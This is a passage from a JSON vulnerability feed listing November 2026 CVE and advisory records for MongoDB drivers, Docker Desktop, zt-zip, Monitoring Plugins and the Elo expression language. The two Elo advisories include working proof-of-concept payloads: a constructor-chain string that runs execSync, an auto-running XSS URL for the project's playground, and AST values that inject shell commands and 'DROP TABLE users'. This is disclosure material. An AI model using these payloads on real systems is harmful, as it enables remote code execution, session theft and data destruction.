required.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/SQL-3539","https://www.mongodb.com/docs/sql-interface/changelog/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:00","euvd":{"id":"EUVD-2026-116142","description":"A URI redirection weakness exists in the authentication component of the Atlas SQL JDBC Driver. During an interactive sign-in flow the driver accepts endpoint addresses supplied by the remote endpoint it is pointed at without validating their scheme, and passes the resulting address to the local default protocol handler. An unauthenticated remote party that controls the endpoint a user elects to connect to may cause an address of its choosing to be opened on the user's system; user interaction is required.","published_time":"2026-11-03T18:47:36","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://www.mongodb.com/docs/sql-interface/changelog/","https://jira.mongodb.org/browse/SQL-3539"],"products":["Atlas SQL JDBC Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120954","summary":"A weakness in the BSON library's handling of a specialized binary vector data type allows an arithmetic wraparound when computing the number of elements described by an oversized attacker-supplied value. On builds where the platform word size is 32 bits, an application that parses untrusted BSON data can be made to process only a small fraction of the supplied elements while the operation reports success, producing results that disagree with byte-oriented accessors and with 64-bit builds of the same library. No authentication or user interaction is required beyond getting the application to parse the data. The impact is limited to data integrity; memory safety is not affected and no information is disclosed.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/CDRIVER-6420"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:00","euvd":{"id":"EUVD-2026-116140","description":"A weakness in the BSON library's handling of a specialized binary vector data type allows an arithmetic wraparound when computing the number of elements described by an oversized attacker-supplied value. On builds where the platform word size is 32 bits, an application that parses untrusted BSON data can be made to process only a small fraction of the supplied elements while the operation reports success, producing results that disagree with byte-oriented accessors and with 64-bit builds of the same library. No authentication or user interaction is required beyond getting the application to parse the data. The impact is limited to data integrity; memory safety is not affected and no information is disclosed.","published_time":"2026-11-03T18:45:40","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/CDRIVER-6420"],"products":["C Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120955","summary":"The GridFS file download API in the MongoDB C Driver does not check the result of an internal operation under certain error conditions during file retrieval. This can cause the process to terminate when stream operations continue. A user who can influence file download parameters can trigger this condition, which may result in service unavailability for applications using the affected API.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/CDRIVER-6494"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:00","euvd":{"id":"EUVD-2026-116137","description":"The GridFS file download API in the MongoDB C Driver does not check the result of an internal operation under certain error conditions during file retrieval. This can cause the process to terminate when stream operations continue. A user who can influence file download parameters can trigger this condition, which may result in service unavailability for applications using the affected API.","published_time":"2026-11-03T18:42:39","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/CDRIVER-6494"],"products":["C Driver","C Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120956","summary":"The MongoDB C Driver does not validate the type or format of a namespace field returned by the server in a query response. A MongoDB endpoint that a client application connects to, without needing any credentials, can return a malformed value in that field. This causes the client application process to terminate, and can also cause the driver to read memory outside an allocated buffer and to send a small amount of the application's own uninitialized heap memory back to the endpoint in a follow-up command. The impact is limited to the process that embeds the driver.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/CDRIVER-6501"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:00","euvd":{"id":"EUVD-2026-116135","description":"The MongoDB C Driver does not validate the type or format of a namespace field returned by the server in a query response. A MongoDB endpoint that a client application connects to, without needing any credentials, can return a malformed value in that field. This causes the client application process to terminate, and can also cause the driver to read memory outside an allocated buffer and to send a small amount of the application's own uninitialized heap memory back to the endpoint in a follow-up command. The impact is limited to the process that embeds the driver.","published_time":"2026-11-03T18:41:44","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/CDRIVER-6501"],"products":["C Driver","C Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120673","summary":"A component of the MongoDB Rust Driver that records diagnostic tracing data can capture command content before automatic client-side field level encryption is applied. In deployments that turn on the optional tracing capability together with automatic in-use encryption, a party with read access to the application's exported trace data may obtain field values that the application designated for encryption, without access to the encryption keys. This may result in unintended disclosure of data.","cvss":6.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.5,"cvss_v4":6.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/RUST-2525"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:17:59","euvd":{"id":"EUVD-2026-116130","description":"A component of the MongoDB Rust Driver that records diagnostic tracing data can capture command content before automatic client-side field level encryption is applied. In deployments that turn on the optional tracing capability together with automatic in-use encryption, a party with read access to the application's exported trace data may obtain field values that the application designated for encryption, without access to the encryption keys. This may result in unintended disclosure of data.","published_time":"2026-11-03T18:33:32","cvss":6.8,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/RUST-2525"],"products":["Rust Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120678","summary":"A memory management flaw in the MongoDB C Driver's handling of compressed responses may cause the client library to hold on to memory that is never released. An unauthenticated party that controls the database endpoint a client application connects to may cause repeated, unbounded memory growth in that application, which may result in the application becoming unavailable. No credentials, transport security settings, or user interaction are required.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/CDRIVER-6521"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:17:59","euvd":{"id":"EUVD-2026-116133","description":"A memory management flaw in the MongoDB C Driver's handling of compressed responses may cause the client library to hold on to memory that is never released. An unauthenticated party that controls the database endpoint a client application connects to may cause repeated, unbounded memory growth in that application, which may result in the application becoming unavailable. No credentials, transport security settings, or user interaction are required.","published_time":"2026-11-03T18:39:32","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/CDRIVER-6521"],"products":["C Driver","C Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-119922","summary":"Improper access control in the Babelfish for PostgreSQL extension versions 1.2-1.5, 2.1-2.15, 3.1-3.12, 4.0-4.8, 5.1-5.4 may allow remote authenticated users to elevate their privileges. To remediate this issue, we recommend you upgrade to Babelfish for PostgreSQL extension versions 4.10, 5.6, 6.1 or later.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-165-aws/","https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases#release-BABEL_4_10_0__PG_16_14","https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases#release-BABEL_5_6_0__PG_17_10","https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases/tag/BABEL_6_1_0__PG_18_4","https://github.com/babelfish-for-postgresql/babelfish_extensions/security/advisories/GHSA-fv9p-9rr9-fm35"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:17:57","euvd":{"id":"EUVD-2026-116115","description":"Improper access control in the Babelfish for PostgreSQL extension versions 1.2-1.5, 2.1-2.15, 3.1-3.12, 4.0-4.8, 5.1-5.4 may allow remote authenticated users to elevate their privileges. To remediate this issue, we recommend you upgrade to Babelfish for PostgreSQL extension versions 4.10, 5.6, 6.1 or later.","published_time":"2026-11-03T18:08:48","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"AMZN","references":["https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases#release-BABEL_4_10_0__PG_16_14","https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases#release-BABEL_5_6_0__PG_17_10","https://github.com/babelfish-for-postgresql/babelfish-for-postgresql/releases/tag/BABEL_6_1_0__PG_18_4","https://aws.amazon.com/security/security-bulletins/2026-165-aws/","https://github.com/babelfish-for-postgresql/babelfish_extensions/security/advisories/GHSA-fv9p-9rr9-fm35"],"products":["babelfish-for-postgresql","babelfish-for-postgresql","babelfish-for-postgresql","babelfish-for-postgresql","babelfish-for-postgresql"],"vendors":["aws"]},"ghsa":null},{"cve_id":"CVE-2026-112917","summary":"In Docker Desktop for Windows with the WSL2 backend, an unprivileged Linux container can use 32-bit socketcall to bypass the default seccomp restriction on AF_VSOCK. This can expose host-facing services and Windows files accessible to the logged-in user. The issue affects x86-64 WSL2; LinuxKit-based backends are unaffected. The issue is fully fixed only with Docker Desktop 4.98.0 or later and WSL 3.0.3 or later. Docker Desktop 4.98.0 or later running on an older WSL remains affected.","cvss":9.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.docker.com/desktop/release-notes/#4980","https://github.com/microsoft/WSL/releases/tag/3.0.3","https://github.com/microsoft/WSL2-Linux-Kernel/releases/tag/linux-msft-wsl-6.18.54.1"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:17:53","euvd":{"id":"EUVD-2026-116144","description":"In Docker Desktop for Windows with the WSL2 backend, an unprivileged Linux container can use 32-bit socketcall to bypass the default seccomp restriction on AF_VSOCK. This can expose host-facing services and Windows files accessible to the logged-in user. The issue affects x86-64 WSL2; LinuxKit-based backends are unaffected. The issue is fully fixed only with Docker Desktop 4.98.0 or later and WSL 3.0.3 or later. Docker Desktop 4.98.0 or later running on an older WSL remains affected.","published_time":"2026-11-03T19:08:11","cvss":9.2,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://docs.docker.com/desktop/release-notes/#4980","https://github.com/microsoft/WSL/releases/tag/3.0.3","https://github.com/microsoft/WSL2-Linux-Kernel/releases/tag/linux-msft-wsl-6.18.54.1"],"products":["Docker Desktop"],"vendors":["Docker"]},"ghsa":null},{"cve_id":"CVE-2026-63494","summary":"Rejected reason: This CVE is a duplicate of another CVE.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:04","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-63499","summary":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.1, ZipUtil.unpack(...) can apply stored ZIP-entry permissions to the extraction output directory when an entry name such as / or ./ resolves to that directory itself. Because the path traversal checks permit self-referencing entries that do not escape the destination, the unpacker's permission-handling path can replace restrictive output-directory permissions with attacker-supplied permissions. This affects applications that unpack untrusted ZIP files, and POSIX systems demonstrate the issue directly, while ZTFilePermissionsUtil.fetchDefaultStrategy provides fallback permission handling on other supported systems. This issue is fixed in version 1.18.1.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad","https://github.com/zeroturnaround/zt-zip/pull/191","https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1","https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px","https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:04","euvd":{"id":"EUVD-2026-116113","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.1, ZipUtil.unpack(...) can apply stored ZIP-entry permissions to the extraction output directory when an entry name such as / or ./ resolves to that directory itself. Because the path traversal checks permit self-referencing entries that do not escape the destination, the unpacker's permission-handling path can replace restrictive output-directory permissions with attacker-supplied permissions. This affects applications that unpack untrusted ZIP files, and POSIX systems demonstrate the issue directly, while ZTFilePermissionsUtil.fetchDefaultStrategy provides fallback permission handling on other supported systems. This issue is fixed in version 1.18.1.","published_time":"2026-11-03T18:04:46","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px","https://github.com/zeroturnaround/zt-zip/pull/191","https://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad","https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1"],"products":["zt-zip"],"vendors":["zeroturnaround"]},"ghsa":null},{"cve_id":"CVE-2026-44267","summary":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842","https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:03","euvd":{"id":"EUVD-2026-116111","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, plain Elo strings supplied to defaultFormats.elo.parse(), bin/elo, or elo-lang.org/try can use .constructor.constructor to reach JavaScript Function because the member_access handler in src/transform.ts does not reject meta-properties, src/compilers/javascript.ts emits the surviving property directly, and src/parser.ts accepts constructor as an ordinary identifier. The resulting generated JavaScript executes attacker-selected code in the host runtime. This permits browser script execution and session compromise on the auto-running playground and arbitrary Node.js code execution on library, CI, or DevOps hosts. This plain-string path is distinct from the programmatic AST-object injection issue. This issue is fixed in version 1.0.1.","published_time":"2026-11-03T17:52:25","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5","https://github.com/enspirit/elo/commit/2136da1f64eec8ebf99890d3100be9394534b842","https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5"],"products":["elo"],"vendors":["enspirit"]},"ghsa":{"id":"GHSA-33r5-xmm8-v6x5","summary":"Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access","details":"### Summary\n\nAn unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path — `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` — can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\"\n\n### Vulnerable sink and root cause\n\nThree interacting sites in `src/` produce the bug at commit `749af7b`:\n\n1. **`src/transform.ts:144–158`** — the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.\n2. **`src/compilers/javascript.ts:210`** — the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.\n3. **`src/parser.ts:163–170, 748–750`** — the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.\n\nCombined, the Elo expression `({}).constructor.constructor('…')()` compiles to a live `Function('…')()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | Browser playground — `https://elo-lang.org/try/?code=…&run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() => this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor's session on elo-lang.org. |\n| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e \"_\" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |\n| 3 | Library API — `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |\n\n### Proof of Concept\n\n**Common payload (works on all three entry points):**\n\n```elo\n({}).constructor.constructor('return this.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'id\\').toString()')()\n```\n\n**Library API** — `poc-minimal.js`:\n\n```js\n// npm install elo\nconst { defaultFormats } = require('elo');\n\nconst payload = \"({}).constructor.constructor('return this.constructor.constructor(\\\\'return process\\\\')().mainModule.require(\\\\'child_process\\\\').execSync(\\\\'id\\\\').toString()')()\";\n\nconsole.log(defaultFormats.elo.parse(payload));\n// → uid=1000(ultrasupara) gid=1000(ultrasupara) groups=…\n```\n\n**CLI** — `poc-cli.sh`:\n\n```sh\nnode bin/elo payload.elo\n# uid=1000(ultrasupara)…\n\nnode bin/elo -e \"_\" -d @payload.elo -f elo\n# uid=1000(ultrasupara)…\n```\n\n**Browser playground** — 0-click XSS URL:\n\n```\nhttps://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29&run=1\n```\n\nOpening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.\n\n### Independence from GHSA #3 (AST-API injection)\n\nThis finding is independent of the Medium-severity AST-API report (GHSA #3). That fix's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.","published_time":"2026-11-03T17:53:42Z","modified_time":"2026-11-03T17:53:42Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"affected":[{"package":{"ecosystem":"npm","name":"@enspirit/elo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.0.0"}}],"references":[{"type":"WEB","url":"https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5"},{"type":"PACKAGE","url":"https://github.com/enspirit/elo"}],"cwe_ids":["CWE-1336","CWE-693","CWE-79","CWE-94"],"github_severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-11-03T17:53:42Z"}},{"cve_id":"CVE-2026-63418","summary":"Monitoring Plugins is a suite of plugins for monitoring applications. From 3.0.0-rc1 until 3.0.1, check_icmp stores the number of hosts supplied through -H or --Host on the command line, or through --extra-opts files containing Host= entries, in an unsigned short. More than 65,535 hosts wrap the counter, causing process_arguments() to allocate an undersized hosts array and then write subsequent entries out of bounds before main() calls setuid(getuid()). On installations where check_icmp is setuid root, a local low-privileged attacker can corrupt heap memory while the process still has root privileges; reliable privilege escalation has not been demonstrated. Installations that use cap_net_raw file capabilities instead of setuid are not exposed to the privilege-escalation consequence. This issue is fixed in version 3.0.1.","cvss":7.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/monitoring-plugins/monitoring-plugins/commit/c35c12e58d326ffbd6cfb3c9097653f9f3fb2f4a","https://github.com/monitoring-plugins/monitoring-plugins/releases/tag/v3.0.1","https://github.com/monitoring-plugins/monitoring-plugins/security/advisories/GHSA-xvvw-4j77-rp7q"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:03","euvd":{"id":"EUVD-2026-116114","description":"Monitoring Plugins is a suite of plugins for monitoring applications. From 3.0.0-rc1 until 3.0.1, check_icmp stores the number of hosts supplied through -H or --Host on the command line, or through --extra-opts files containing Host= entries, in an unsigned short. More than 65,535 hosts wrap the counter, causing process_arguments() to allocate an undersized hosts array and then write subsequent entries out of bounds before main() calls setuid(getuid()). On installations where check_icmp is setuid root, a local low-privileged attacker can corrupt heap memory while the process still has root privileges; reliable privilege escalation has not been demonstrated. Installations that use cap_net_raw file capabilities instead of setuid are not exposed to the privilege-escalation consequence. This issue is fixed in version 3.0.1.","published_time":"2026-11-03T18:06:25","cvss":7.0,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/monitoring-plugins/monitoring-plugins/security/advisories/GHSA-xvvw-4j77-rp7q","https://github.com/monitoring-plugins/monitoring-plugins/commit/c35c12e58d326ffbd6cfb3c9097653f9f3fb2f4a","https://github.com/monitoring-plugins/monitoring-plugins/releases/tag/v3.0.1"],"products":["monitoring-plugins"],"vendors":["monitoring-plugins"]},"ghsa":null},{"cve_id":"CVE-2026-63436","summary":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","cvss":6.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd","https://github.com/zeroturnaround/zt-zip/pull/180","https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0","https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:03","euvd":{"id":"EUVD-2026-116112","description":"zt-zip is a Java library that provides convenience methods for ZIP archive manipulation. Prior to 1.18.0, the Zips.get(zip).unpack().destination(outputDir).process() fluent API in src/main/java/org/zeroturnaround/zip/Zips.java constructs output files directly from ZIP entry names without applying the destination-boundary validation used by ZipUtil.unpack(...). A crafted entry containing parent-directory traversal can therefore write outside outputDir through both the normal copy branch and the ZipEntryTransformer branch. Applications that extract untrusted archives only through ZipUtil.unpack(...) are unaffected because that API already calls checkDestinationFileForTraversal. This issue is fixed in version 1.18.0.","published_time":"2026-11-03T18:02:27","cvss":6.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-52c6-99qm-3hqr","https://github.com/zeroturnaround/zt-zip/pull/180","https://github.com/zeroturnaround/zt-zip/commit/59a76ad576b0fcd50ea018e3608afb946c1492fd","https://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.0"],"products":["zt-zip"],"vendors":["zeroturnaround"]},"ghsa":null},{"cve_id":"CVE-2026-63492","summary":"Rejected reason: This CVE is a duplicate of another CVE.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":[],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:03","euvd":null,"ghsa":null},{"cve_id":"CVE-2026-44265","summary":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, Elo's programmatic AST API accepts arbitrary values from JSON-deserialized input, plugin output, or other untyped sources and interpolates them into generated JavaScript, Ruby, Python, or SQL without runtime syntax validation. The affected fields are int_literal / float_literal .value, variable.name, member_access.property, object_literal keys, datapath segments, lambda.params[].name, and the SQL let binding name. Crafted values become executable expressions or identifiers, allowing arbitrary code execution in JavaScript, Ruby, and Python targets and SQL injection in the SQL target. This programmatic AST-object path is distinct from the plain-string constructor-chain sandbox escape. This issue is fixed in version 1.0.1.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","https://github.com/enspirit/elo/commit/fb57dd37a2669d9c412454225c5b89a2adba5d93","https://github.com/enspirit/elo/security/advisories/GHSA-x9rp-7wh3-2rj5"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:02","euvd":{"id":"EUVD-2026-116108","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, Elo's programmatic AST API accepts arbitrary values from JSON-deserialized input, plugin output, or other untyped sources and interpolates them into generated JavaScript, Ruby, Python, or SQL without runtime syntax validation. The affected fields are int_literal / float_literal .value, variable.name, member_access.property, object_literal keys, datapath segments, lambda.params[].name, and the SQL let binding name. Crafted values become executable expressions or identifiers, allowing arbitrary code execution in JavaScript, Ruby, and Python targets and SQL injection in the SQL target. This programmatic AST-object path is distinct from the plain-string constructor-chain sandbox escape. This issue is fixed in version 1.0.1.","published_time":"2026-11-03T17:47:03","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/enspirit/elo/security/advisories/GHSA-x9rp-7wh3-2rj5","https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","https://github.com/enspirit/elo/commit/fb57dd37a2669d9c412454225c5b89a2adba5d93"],"products":["elo"],"vendors":["enspirit"]},"ghsa":{"id":"GHSA-x9rp-7wh3-2rj5","summary":"Elo backends have code injection via unvalidated emission of programmatic AST fields","details":"### Summary\n\nElo's programmatic AST API accepts arbitrary values in many node fields without runtime type or syntax validation. Each backend's emit stage interpolates those values straight into the generated source with no escape pass. An integrator that populates the AST from JSON-deserialised input, plugin output, or any other untyped source therefore exposes a code-injection primitive that flows through to the emitted JavaScript, Ruby, Python, or SQL.\n\nThe same pattern was previously addressed in **0.9.7 (2026-01-27)**, which patched the date/datetime/duration literal emitters via `JSON.stringify()` after a report by **naoyashiga**. This advisory generalises that fix to the remaining AST surface — at least 23 emission sites across six node-field categories and four backends.\n\n### Vulnerable sinks\n\nEach row is a category of sinks that share the same shape: TypeScript signature erased at runtime → AST-API consumer passes a crafted value → emit interpolates the value verbatim.\n\n| # | AST field | Affected backends | Resulting injection |\n|---|---|---|---|\n| 1 | `int_literal` / `float_literal` `.value` | JS, Ruby, Python, SQL | Arbitrary expression in the emitted numeric position (RCE on JS/Ruby/Python; SQL expression injection) |\n| 2 | `variable.name` | JS, Ruby, Python, SQL | Identifier-position injection; on SQL, raw SQL injection because undefined identifiers are intentionally emitted as column references |\n| 3 | `member_access.property` | JS, Ruby, Python, SQL | Property access escaped into expression (RCE) |\n| 4 | `object_literal` key | JS, Ruby, SQL | Computed-key / extra-property injection (RCE on JS/Ruby; SQL injection) |\n| 5 | `datapath` segment | JS, Ruby, Python, SQL | Ruby symbol-list injection allows backtick shell exec; SQL string-segment unquoted in single-quote context allows SQL injection |\n| 6 | `lambda.params[].name` | JS, Ruby, Python | Parameter-list structural injection (RCE) |\n| 7 | SQL `let` binding `name` | SQL | Identifier injection in `… AS <name>` clause |\n\n### Proof of Concept\n\nEnd-to-end execution was verified at commit `749af7b` for representative cases per backend. Examples:\n\n**Numeric literal injection (all four backends).** Feeding the following AST through `compileToJavaScript` emits a live `console.log` on call:\n\n```js\n{ type: 'literal', value: \"(console.log('PWN_INT_JS'),1)\" }\n// emits: (function(_) { return (console.log('PWN_INT_JS'),1); })(null);\n```\n\nThe same AST against Ruby with `\"(system('touch /tmp/pwn_int_ruby'); 1)\"` creates the file; Python with `\"(print('PWN_INT_PY') or 1)\"` prints the sentinel; SQL emits the raw string into the numeric position.\n\n**SQL `variable.name` injection:**\n\n```js\n{ type: 'variable', name: \"1; DROP TABLE users; --\" }\n// emits: 1; DROP TABLE users; --\n```\n\n**Ruby `datapath` segment shell-exec:**\n\n```js\n{ type: 'datapath', segments: [\"a, system(`touch /tmp/pwn_dp_ruby`)\"] }\n// emits: [:a, system(`touch 